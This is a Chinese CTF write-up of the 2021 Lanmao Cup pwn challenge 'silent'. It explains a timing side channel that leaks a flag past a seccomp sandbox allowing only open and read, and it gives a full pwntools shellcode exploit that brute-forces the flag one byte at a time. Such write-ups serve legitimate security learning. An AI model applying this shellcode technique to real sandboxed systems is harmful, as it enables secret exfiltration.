2021蓝帽杯

前言

之前还是个菜鸡,只把题目收集了,现在。。。还是菜鸡,但感觉鸡腿🍖可能大了点,来复现一下蓝帽杯的题目,持续更新吧,目前应该能更新到半决赛,为什么没有总决赛?因为没有wp也没有附件

wp:

https://blog.csdn.net/qq_43678263/article/details/116277524

https://www.lintstar.top/2020/12/784edd2e#%E6%93%8D%E4%BD%9C%E5%86%85%E5%AE%B9-3

silent

image-20211002191216443

常规checksec,64位保护全开

image-20211002191600919

image-20211002192200578

程序非常简单,就这么几行代码。开了沙箱,只能使用 open 和 read

image-20211002193705578

mmap申请到的内存位于0x10000~0x11000

因为会读取我们输入的数据放置到0x10000上,并且会进行调用执行,所以就是读取flag,但是因为没有write函数可以执行,那就进行单个字节的对比爆,即读取flag到一块内存区域,随后单字节爆破,在shellcode中设置loop循环,一旦cmp命中就让程序卡死,否则执行后面的exit因为沙箱禁用程序崩溃退出,根据程序的表现可以区分是否命中,注意因为服务器通信不稳定,每次读到一段flag就更新exp中的flag字符串继续向后爆破

image-20211003084329468

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='info')
def exp(dis,char):
p.recvuntil("Welcome to silent execution-box.\n")
sc = asm('''
mov r12,0x67616c66
push r12
mov rdi,rsp
xor esi,esi
xor edx,edx
mov al,2
syscall
mov rdi,rax
mov rsi,0x10700
mov dl,0x40
xor rax,rax
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,60
syscall
loop:
jmp loop
'''.format(dis,char))
p.send(sc)
flag = "flag{"
for i in range(len(flag),35):
sleep(1)
log.success("flag : {}".format(flag))
for j in range(0x20,0x80):
p = process('./chall')
try:
exp(i,j)
p.recvline(timeout=1)
flag += chr(j)
p.send('\n')
log.success("{} pos : {} success".format(i,chr(j)))
p.close()
break
except:
p.close()
查看评论